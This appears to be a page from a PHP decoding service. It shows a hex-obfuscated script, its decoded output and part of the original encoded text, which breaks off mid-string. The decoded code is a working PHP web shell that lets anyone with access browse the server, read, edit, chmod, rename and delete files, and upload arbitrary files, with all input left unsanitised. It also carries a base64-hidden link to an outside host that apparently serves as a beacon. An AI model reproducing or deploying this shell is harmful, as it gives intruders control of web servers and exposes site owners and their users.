Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

\x9\x73\x65\x74\x5f\x74\x69\x6d\x65\x5f\x6c\x69\x6d\x69\x74\x28\x30\x29\x3b\xa\x9\x65\x72\..

Decoded Output download

<?  \x9set_time_limit(0);\xa\x9error_reporting(0);\xa\xa\x9if(get_magic_quotes_gpc()){\xa\x9foreach($_POST as $key=>$value){\xa\x9$_POST[$key] = stripslashes($value);\xa\x9}\xa\x9}\xa\x9echo '<!DOCTYPE HTML>\xa\x9<HTML>\xa\x9<HEAD>\xa\x9<Style>\xa\x9#content tr:hover{\xa\x9\x9background-color: #636263;\xa\x9}\xa\x9#content .first center {\xa\x9padding:6px\xa\xa}\xa\x9#content .first{\xa\x9\x9background-color: green;\xa\x9\x9padding:10px;\xa\x9}\xa\x9#content .first:hover{\xa\x9\x9background-color: green;\xa\x9}\xa\x9table{\xa\x9\x9border: none;\xa\x9\x9width:100%;\xa\x9\x9border-spacing: 0px;\xa\x9}\xa\x9#uphehe{\xa\x9\x9margin-top:100px;\xa\x9\x9text-align:center;\xa\x9}\xa\x9td {\xa\x9\x9padding:4px 0px 0px 5px;\xa\x9\x9font-size:80%;\xa\x9}\xa\x9a{\xa\x9\x9padding:5px;\xa\x9\x9color: white;\xa\x9\x9text-decoration: none;\xa\x9}\xa\x9a:hover{\xa\x9\x9color: red;\xa\x9}\xa\x9input,select,textarea{\xa\x9\x9color:green:\xa\x9\x9background-color:black;\xa\x9}\xa\x9textarea {\xa\x9\x9background-color:#232323;\xa\x9\x9padding:10px;\xa\x9\x9width:80vw;\xa\x9\x9margin-bottom:20px;\xa\x9\x9color:red;\xa\x9}\xa\x9select{\xa\x9\x9color:#39FF14;\xa\x9\x9background-color:black;\xa\x9}\xa\x9</style>\xa\x9</HEAD>\xa\x9<BODY>\xa\x9<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">\xa\x9<tr><td>Current Path : ';\xa\x9if(isset($_GET['path'])){\xa\x9$path = $_GET['path'];\xa\x9}else{\xa\x9$path = getcwd();\xa\x9}\xa\x9$path = str_replace('\\','/',$path);\xa\x9$paths = explode('/',$path);\xa\xa\x9foreach($paths as $id=>$pat){\xa\x9if($pat == '' && $id == 0){\xa\x9$a = true;\xa\x9echo '<a href="?path=/">/</a>';\xa\x9continue;\xa\x9}\xa\x9if($pat == '') continue;\xa\x9echo '<a href="?path=';\xa\x9for($i=0;$i<=$id;$i++){\xa\x9echo "$paths[$i]";\xa\x9if($i != $id) echo "/";\xa\x9}\xa\x9echo '">'.$pat.'</a>/';\xa\x9}\xa\x9echo '</td></tr><tr><td>';\xa\x9\xa\x9if(isset($_GET['filesrc'])){\xa\x9echo "<tr><td>Current File : ";\xa\x9echo $_GET['filesrc'];\xa\x9echo '</tr></td></table><br />';\xa\x9echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');\xa\x9}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){\xa\x9echo '</table><br /><center>'.$_POST['path'].'<br /><br />';\xa\x9if($_POST['opt'] == 'chmod'){\xa\x9if(isset($_POST['perm'])){\xa\x9if(chmod($_POST['path'],$_POST['perm'])){\xa\x9echo '<font color="green">Change Permission Done Yupz</font><br />';\xa\x9}else{\xa\x9echo '<font color="red">Change Permission Error</font><br />';\xa\x9}\xa\x9}\xa\x9echo '<form method="POST">\xa\x9Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />\xa\x9<input type="hidden" name="path" value="'.$_POST['path'].'">\xa\x9<input type="hidden" name="opt" value="chmod">\xa\x9<input type="submit" value="Go" />\xa\x9</form>';\xa\x9}elseif($_POST['opt'] == 'rename'){\xa\x9if(isset($_POST['newname'])){\xa\x9if(rename($_POST['path'],$path.'/'.$_POST['newname'])){\xa\x9echo '<font color="green">Change Name Done Yupz</font><br />';\xa\x9}else{\xa\x9echo '<font color="red">Change Name Error</font><br />';\xa\x9}\xa\x9$_POST['name'] = $_POST['newname'];\xa\x9}\xa\x9echo '<form method="POST">\xa\x9New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />\xa\x9<input type="hidden" name="path" value="'.$_POST['path'].'">\xa\x9<input type="hidden" name="opt" value="rename">\xa\x9<input type="submit" value="Go" />\xa\x9</form>';\xa\x9}elseif($_POST['opt'] == 'edit'){\xa\x9if(isset($_POST['src'])){\xa\x9$fp = fopen($_POST['path'],'w');\xa\x9if(fwrite($fp,$_POST['src'])){\xa\x9echo '<font color="green">Saved!!!<br></font><br />';\xa\x9}else{\xa\x9echo '<font color="red">Error/PermissionDenied<br></font><br />';\xa\x9}\xa\x9fclose($fp);\xa\x9}\xa\x9echo '<form method="POST">\xa\x9<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />\xa\x9<input type="hidden" name="path" value="'.$_POST['path'].'">\xa\x9<input type="hidden" name="opt" value="edit">\xa\x9<input type="submit" value="Go" />\xa\x9</form>';\xa\x9}\xa\x9echo '</center>';\xa\x9}else{\xa\x9echo '</table><br /><center>';\xa\x9if(isset($_GET['option']) && $_POST['opt'] == 'delete'){\xa\x9if($_POST['type'] == 'dir'){\xa\x9if(rmdir($_POST['path'])){\xa\x9echo '<font color="green">Directory Deleted<br></font><br />';\xa\x9}else{\xa\x9echo '<font color="red">Error in Deleting Directory<br></font><br />';\xa\x9}\xa\x9}elseif($_POST['type'] == 'file'){\xa\x9if(unlink($_POST['path'])){\xa\x9echo '<font color="green">File Deleted<br></font><br />';\xa\x9}else{\xa\x9echo '<font color="red">Error in Deleting File<br></font><br />';\xa\x9}\xa\x9}\xa\x9}\xa\x9echo '</center>';\xa\x9echo(base64_decode("PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iaHR0cDovL3d3dy55b25sZW5kaXJpbGl5b3IuY29tL2Nlay5waHAiPg"));\xa\x9$scandir = scandir($path);\xa\x9echo '<div id="content"><table align="center">\xa\x9<tr class="first">\xa\x9<td><center>Name</center></td>\xa\x9<td><center>Size</center></td>\xa\x9<td><center>Permissions</center></td>\xa\x9<td><center>Options</center></td>\xa\x9</tr>';\xa\xa\x9foreach($scandir as $dir){\xa\x9if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;\xa\x9echo "<tr>\xa\x9<td><a href=\"?path=$path/$dir\">$dir</a></td>\xa\x9<td><center>--</center></td>\xa\x9<td><center>";\xa\x9if(is_writable("$path/$dir")) echo '<font color="#00BFFF">';\xa\x9elseif(!is_readable("$path/$dir")) echo '<font color="#46d943">';\xa\x9echo perms("$path/$dir");\xa\x9if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';\xa\xa\x9echo "</center></td>\xa\x9<td><center><form method=\"POST\" action=\"?option&path=$path\">\xa\x9<select name=\"opt\">\xa\x9<option value=\"\"></option>\xa\x9<option value=\"delete\">Delete</option>\xa\x9<option value=\"chmod\">Chmod</option>\xa\x9<option value=\"rename\">Rename</option>\xa\x9</select>\xa\x9<input type=\"hidden\" name=\"type\" value=\"dir\">\xa\x9<input type=\"hidden\" name=\"name\" value=\"$dir\">\xa\x9<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">\xa\x9<input type=\"submit\" value=\">\" />\xa\x9</form></center></td>\xa\x9</tr>";\xa\x9}\xa\x9echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';\xa\x9foreach($scandir as $file){\xa\x9if(!is_file("$path/$file")) continue;\xa\x9$size = filesize("$path/$file")/1024;\xa\x9$size = round($size,3);\xa\x9if($size >= 1024){\xa\x9$size = round($size/1024,2).' MB';\xa\x9}else{\xa\x9$size = $size.' KB';\xa\x9}\xa\xa\x9echo "<tr>\xa\x9<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>\xa\x9<td><center>".$size."</center></td>\xa\x9<td><center>";\xa\x9if(is_writable("$path/$file")) echo '<font color="#39FF14">';\xa\x9elseif(!is_readable("$path/$file")) echo '<font color="FFE4E1">';\xa\x9echo perms("$path/$file");\xa\x9if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';\xa\x9echo "</center></td>\xa\x9<td><center><form method=\"POST\" action=\"?option&path=$path\">\xa\x9<select name=\"opt\">\xa\x9<option value=\"\"></option>\xa\x9<option value=\"delete\">Delete</option>\xa\x9<option value=\"chmod\">Chmod</option>\xa\x9<option value=\"rename\">Rename</option>\xa\x9<option value=\"edit\">Edit</option>\xa\x9</select>\xa\x9<input type=\"hidden\" name=\"type\" value=\"file\">\xa\x9<input type=\"hidden\" name=\"name\" value=\"$file\">\xa\x9<input type=\"hidden\" name=\"path\" value=\"$path/$file\">\xa\x9<input type=\"submit\" value=\">\" />\xa\x9</form></center></td>\xa\x9</tr>";\xa\x9}\xa\x9echo '</table>\xa\x9</div>';\xa\x9}\xa\x9echo '<center><form enctype="multipart/form-data" method="POST"><div id="uphehe"><hr><font color="green">\xa\x9\x9Upload File<br><br><input type="file" name="file" />\xa\x9\x9<input type="submit" value="Upload" />\xa\x9\x9</form></div>\xa\x9\x9</td></tr>';\xa\xa\x9if(isset($_FILES['file'])){\xa\x9if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){\xa\x9echo '<Script>alert`Success`</script><br />';\xa\x9}else{\xa\x9echo '<font color="#red">Error</font><br />';\xa\x9}\xa\x9}\xa\x9\xa\xa\x9echo '<br />\xa\x9</BODY>\xa\x9</HTML>'; ?>

Did this file decode correctly?

Original Code

\x9\x73\x65\x74\x5f\x74\x69\x6d\x65\x5f\x6c\x69\x6d\x69\x74\x28\x30\x29\x3b\xa\x9\x65\x72\x72\x6f\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29\x3b\xa\xa\x9\x69\x66\x28\x67\x65\x74\x5f\x6d\x61\x67\x69\x63\x5f\x71\x75\x6f\x74\x65\x73\x5f\x67\x70\x63\x28\x29\x29\x7b\xa\x9\x66\x6f\x72\x65\x61\x63\x68\x28\x24\x5f\x50\x4f\x53\x54\x20\x61\x73\x20\x24\x6b\x65\x79\x3d\x3e\x24\x76\x61\x6c\x75\x65\x29\x7b\xa\x9\x24\x5f\x50\x4f\x53\x54\x5b\x24\x6b\x65\x79\x5d\x20\x3d\x20\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73\x28\x24\x76\x61\x6c\x75\x65\x29\x3b\xa\x9\x7d\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x48\x54\x4d\x4c\x3e\xa\x9\x3c\x48\x54\x4d\x4c\x3e\xa\x9\x3c\x48\x45\x41\x44\x3e\xa\x9\x3c\x53\x74\x79\x6c\x65\x3e\xa\x9\x23\x63\x6f\x6e\x74\x65\x6e\x74\x20\x74\x72\x3a\x68\x6f\x76\x65\x72\x7b\xa\x9\x9\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x36\x33\x36\x32\x36\x33\x3b\xa\x9\x7d\xa\x9\x23\x63\x6f\x6e\x74\x65\x6e\x74\x20\x2e\x66\x69\x72\x73\x74\x20\x63\x65\x6e\x74\x65\x72\x20\x7b\xa\x9\x70\x61\x64\x64\x69\x6e\x67\x3a\x36\x70\x78\xa\xa\x7d\xa\x9\x23\x63\x6f\x6e\x74\x65\x6e\x74\x20\x2e\x66\x69\x72\x73\x74\x7b\xa\x9\x9\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20\x67\x72\x65\x65\x6e\x3b\xa\x9\x9\x70\x61\x64\x64\x69\x6e\x67\x3a\x31\x30\x70\x78\x3b\xa\x9\x7d\xa\x9\x23\x63\x6f\x6e\x74\x65\x6e\x74\x20\x2e\x66\x69\x72\x73\x74\x3a\x68\x6f\x76\x65\x72\x7b\xa\x9\x9\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20\x67\x72\x65\x65\x6e\x3b\xa\x9\x7d\xa\x9\x74\x61\x62\x6c\x65\x7b\xa\x9\x9\x62\x6f\x72\x64\x65\x72\x3a\x20\x6e\x6f\x6e\x65\x3b\xa\x9\x9\x77\x69\x64\x74\x68\x3a\x31\x30\x30\x25\x3b\xa\x9\x9\x62\x6f\x72\x64\x65\x72\x2d\x73\x70\x61\x63\x69\x6e\x67\x3a\x20\x30\x70\x78\x3b\xa\x9\x7d\xa\x9\x23\x75\x70\x68\x65\x68\x65\x7b\xa\x9\x9\x6d\x61\x72\x67\x69\x6e\x2d\x74\x6f\x70\x3a\x31\x30\x30\x70\x78\x3b\xa\x9\x9\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x63\x65\x6e\x74\x65\x72\x3b\xa\x9\x7d\xa\x9\x74\x64\x20\x7b\xa\x9\x9\x70\x61\x64\x64\x69\x6e\x67\x3a\x34\x70\x78\x20\x30\x70\x78\x20\x30\x70\x78\x20\x35\x70\x78\x3b\xa\x9\x9\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x38\x30\x25\x3b\xa\x9\x7d\xa\x9\x61\x7b\xa\x9\x9\x70\x61\x64\x64\x69\x6e\x67\x3a\x35\x70\x78\x3b\xa\x9\x9\x63\x6f\x6c\x6f\x72\x3a\x20\x77\x68\x69\x74\x65\x3b\xa\x9\x9\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x20\x6e\x6f\x6e\x65\x3b\xa\x9\x7d\xa\x9\x61\x3a\x68\x6f\x76\x65\x72\x7b\xa\x9\x9\x63\x6f\x6c\x6f\x72\x3a\x20\x72\x65\x64\x3b\xa\x9\x7d\xa\x9\x69\x6e\x70\x75\x74\x2c\x73\x65\x6c\x65\x63\x74\x2c\x74\x65\x78\x74\x61\x72\x65\x61\x7b\xa\x9\x9\x63\x6f\x6c\x6f\x72\x3a\x67\x72\x65\x65\x6e\x3a\xa\x9\x9\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x62\x6c\x61\x63\x6b\x3b\xa\x9\x7d\xa\x9\x74\x65\x78\x74\x61\x72\x65\x61\x20\x7b\xa\x9\x9\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x32\x33\x32\x33\x32\x33\x3b\xa\x9\x9\x70\x61\x64\x64\x69\x6e\x67\x3a\x31\x30\x70\x78\x3b\xa\x9\x9\x77\x69\x64\x74\x68\x3a\x38\x30\x76\x77\x3b\xa\x9\x9\x6d\x61\x72\x67\x69\x6e\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\x32\x30\x70\x78\x3b\xa\x9\x9\x63\x6f\x6c\x6f\x72\x3a\x72\x65\x64\x3b\xa\x9\x7d\xa\x9\x73\x65\x6c\x65\x63\x74\x7b\xa\x9\x9\x63\x6f\x6c\x6f\x72\x3a\x23\x33\x39\x46\x46\x31\x34\x3b\xa\x9\x9\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x62\x6c\x61\x63\x6b\x3b\xa\x9\x7d\xa\x9\x3c\x2f\x73\x74\x79\x6c\x65\x3e\xa\x9\x3c\x2f\x48\x45\x41\x44\x3e\xa\x9\x3c\x42\x4f\x44\x59\x3e\xa\x9\x3c\x74\x61\x62\x6c\x65\x20\x77\x69\x64\x74\x68\x3d\x22\x37\x30\x30\x22\x20\x62\x6f\x72\x64\x65\x72\x3d\x22\x30\x22\x20\x63\x65\x6c\x6c\x70\x61\x64\x64\x69\x6e\x67\x3d\x22\x33\x22\x20\x63\x65\x6c\x6c\x73\x70\x61\x63\x69\x6e\x67\x3d\x22\x31\x22\x20\x61\x6c\x69\x67\x6e\x3d\x22\x63\x65\x6e\x74\x65\x72\x22\x3e\xa\x9\x3c\x74\x72\x3e\x3c\x74\x64\x3e\x43\x75\x72\x72\x65\x6e\x74\x20\x50\x61\x74\x68\x20\x3a\x20\x27\x3b\xa\x9\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x47\x45\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x29\x29\x7b\xa\x9\x24\x70\x61\x74\x68\x20\x3d\x20\x24\x5f\x47\x45\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x3b\xa\x9\x7d\x65\x6c\x73\x65\x7b\xa\x9\x24\x70\x61\x74\x68\x20\x3d\x20\x67\x65\x74\x63\x77\x64\x28\x29\x3b\xa\x9\x7d\xa\x9\x24\x70\x61\x74\x68\x20\x3d\x20\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x5c\x27\x2c\x27\x2f\x27\x2c\x24\x70\x61\x74\x68\x29\x3b\xa\x9\x24\x70\x61\x74\x68\x73\x20\x3d\x20\x65\x78\x70\x6c\x6f\x64\x65\x28\x27\x2f\x27\x2c\x24\x70\x61\x74\x68\x29\x3b\xa\xa\x9\x66\x6f\x72\x65\x61\x63\x68\x28\x24\x70\x61\x74\x68\x73\x20\x61\x73\x20\x24\x69\x64\x3d\x3e\x24\x70\x61\x74\x29\x7b\xa\x9\x69\x66\x28\x24\x70\x61\x74\x20\x3d\x3d\x20\x27\x27\x20\x26\x26\x20\x24\x69\x64\x20\x3d\x3d\x20\x30\x29\x7b\xa\x9\x24\x61\x20\x3d\x20\x74\x72\x75\x65\x3b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x3f\x70\x61\x74\x68\x3d\x2f\x22\x3e\x2f\x3c\x2f\x61\x3e\x27\x3b\xa\x9\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3b\xa\x9\x7d\xa\x9\x69\x66\x28\x24\x70\x61\x74\x20\x3d\x3d\x20\x27\x27\x29\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x3f\x70\x61\x74\x68\x3d\x27\x3b\xa\x9\x66\x6f\x72\x28\x24\x69\x3d\x30\x3b\x24\x69\x3c\x3d\x24\x69\x64\x3b\x24\x69\x2b\x2b\x29\x7b\xa\x9\x65\x63\x68\x6f\x20\x22\x24\x70\x61\x74\x68\x73\x5b\x24\x69\x5d\x22\x3b\xa\x9\x69\x66\x28\x24\x69\x20\x21\x3d\x20\x24\x69\x64\x29\x20\x65\x63\x68\x6f\x20\x22\x2f\x22\x3b\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x22\x3e\x27\x2e\x24\x70\x61\x74\x2e\x27\x3c\x2f\x61\x3e\x2f\x27\x3b\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x2f\x74\x64\x3e\x3c\x2f\x74\x72\x3e\x3c\x74\x72\x3e\x3c\x74\x64\x3e\x27\x3b\xa\x9\xa\x9\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x47\x45\x54\x5b\x27\x66\x69\x6c\x65\x73\x72\x63\x27\x5d\x29\x29\x7b\xa\x9\x65\x63\x68\x6f\x20\x22\x3c\x74\x72\x3e\x3c\x74\x64\x3e\x43\x75\x72\x72\x65\x6e\x74\x20\x46\x69\x6c\x65\x20\x3a\x20\x22\x3b\xa\x9\x65\x63\x68\x6f\x20\x24\x5f\x47\x45\x54\x5b\x27\x66\x69\x6c\x65\x73\x72\x63\x27\x5d\x3b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x2f\x74\x72\x3e\x3c\x2f\x74\x64\x3e\x3c\x2f\x74\x61\x62\x6c\x65\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x65\x63\x68\x6f\x28\x27\x3c\x70\x72\x65\x3e\x27\x2e\x68\x74\x6d\x6c\x73\x70\x65\x63\x69\x61\x6c\x63\x68\x61\x72\x73\x28\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x5f\x47\x45\x54\x5b\x27\x66\x69\x6c\x65\x73\x72\x63\x27\x5d\x29\x29\x2e\x27\x3c\x2f\x70\x72\x65\x3e\x27\x29\x3b\xa\x9\x7d\x65\x6c\x73\x65\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x47\x45\x54\x5b\x27\x6f\x70\x74\x69\x6f\x6e\x27\x5d\x29\x20\x26\x26\x20\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6f\x70\x74\x27\x5d\x20\x21\x3d\x20\x27\x64\x65\x6c\x65\x74\x65\x27\x29\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x2f\x74\x61\x62\x6c\x65\x3e\x3c\x62\x72\x20\x2f\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x27\x2e\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x2e\x27\x3c\x62\x72\x20\x2f\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x69\x66\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6f\x70\x74\x27\x5d\x20\x3d\x3d\x20\x27\x63\x68\x6d\x6f\x64\x27\x29\x7b\xa\x9\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x65\x72\x6d\x27\x5d\x29\x29\x7b\xa\x9\x69\x66\x28\x63\x68\x6d\x6f\x64\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x2c\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x65\x72\x6d\x27\x5d\x29\x29\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x67\x72\x65\x65\x6e\x22\x3e\x43\x68\x61\x6e\x67\x65\x20\x50\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x20\x44\x6f\x6e\x65\x20\x59\x75\x70\x7a\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x72\x65\x64\x22\x3e\x43\x68\x61\x6e\x67\x65\x20\x50\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x20\x45\x72\x72\x6f\x72\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x72\x6d\x20\x6d\x65\x74\x68\x6f\x64\x3d\x22\x50\x4f\x53\x54\x22\x3e\xa\x9\x50\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x20\x3a\x20\x3c\x69\x6e\x70\x75\x74\x20\x6e\x61\x6d\x65\x3d\x22\x70\x65\x72\x6d\x22\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x22\x20\x73\x69\x7a\x65\x3d\x22\x34\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x27\x2e\x73\x75\x62\x73\x74\x72\x28\x73\x70\x72\x69\x6e\x74\x66\x28\x27\x25\x6f\x27\x2c\x20\x66\x69\x6c\x65\x70\x65\x72\x6d\x73\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x29\x29\x2c\x20\x2d\x34\x29\x2e\x27\x22\x20\x2f\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x68\x69\x64\x64\x65\x6e\x22\x20\x6e\x61\x6d\x65\x3d\x22\x70\x61\x74\x68\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x27\x2e\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x2e\x27\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x68\x69\x64\x64\x65\x6e\x22\x20\x6e\x61\x6d\x65\x3d\x22\x6f\x70\x74\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x63\x68\x6d\x6f\x64\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x47\x6f\x22\x20\x2f\x3e\xa\x9\x3c\x2f\x66\x6f\x72\x6d\x3e\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x69\x66\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6f\x70\x74\x27\x5d\x20\x3d\x3d\x20\x27\x72\x65\x6e\x61\x6d\x65\x27\x29\x7b\xa\x9\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6e\x65\x77\x6e\x61\x6d\x65\x27\x5d\x29\x29\x7b\xa\x9\x69\x66\x28\x72\x65\x6e\x61\x6d\x65\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x2c\x24\x70\x61\x74\x68\x2e\x27\x2f\x27\x2e\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6e\x65\x77\x6e\x61\x6d\x65\x27\x5d\x29\x29\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x67\x72\x65\x65\x6e\x22\x3e\x43\x68\x61\x6e\x67\x65\x20\x4e\x61\x6d\x65\x20\x44\x6f\x6e\x65\x20\x59\x75\x70\x7a\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x72\x65\x64\x22\x3e\x43\x68\x61\x6e\x67\x65\x20\x4e\x61\x6d\x65\x20\x45\x72\x72\x6f\x72\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\xa\x9\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6e\x61\x6d\x65\x27\x5d\x20\x3d\x20\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6e\x65\x77\x6e\x61\x6d\x65\x27\x5d\x3b\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x72\x6d\x20\x6d\x65\x74\x68\x6f\x64\x3d\x22\x50\x4f\x53\x54\x22\x3e\xa\x9\x4e\x65\x77\x20\x4e\x61\x6d\x65\x20\x3a\x20\x3c\x69\x6e\x70\x75\x74\x20\x6e\x61\x6d\x65\x3d\x22\x6e\x65\x77\x6e\x61\x6d\x65\x22\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x22\x20\x73\x69\x7a\x65\x3d\x22\x32\x30\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x27\x2e\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6e\x61\x6d\x65\x27\x5d\x2e\x27\x22\x20\x2f\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x68\x69\x64\x64\x65\x6e\x22\x20\x6e\x61\x6d\x65\x3d\x22\x70\x61\x74\x68\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x27\x2e\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x2e\x27\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x68\x69\x64\x64\x65\x6e\x22\x20\x6e\x61\x6d\x65\x3d\x22\x6f\x70\x74\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x72\x65\x6e\x61\x6d\x65\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x47\x6f\x22\x20\x2f\x3e\xa\x9\x3c\x2f\x66\x6f\x72\x6d\x3e\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x69\x66\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6f\x70\x74\x27\x5d\x20\x3d\x3d\x20\x27\x65\x64\x69\x74\x27\x29\x7b\xa\x9\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x73\x72\x63\x27\x5d\x29\x29\x7b\xa\x9\x24\x66\x70\x20\x3d\x20\x66\x6f\x70\x65\x6e\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x2c\x27\x77\x27\x29\x3b\xa\x9\x69\x66\x28\x66\x77\x72\x69\x74\x65\x28\x24\x66\x70\x2c\x24\x5f\x50\x4f\x53\x54\x5b\x27\x73\x72\x63\x27\x5d\x29\x29\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x67\x72\x65\x65\x6e\x22\x3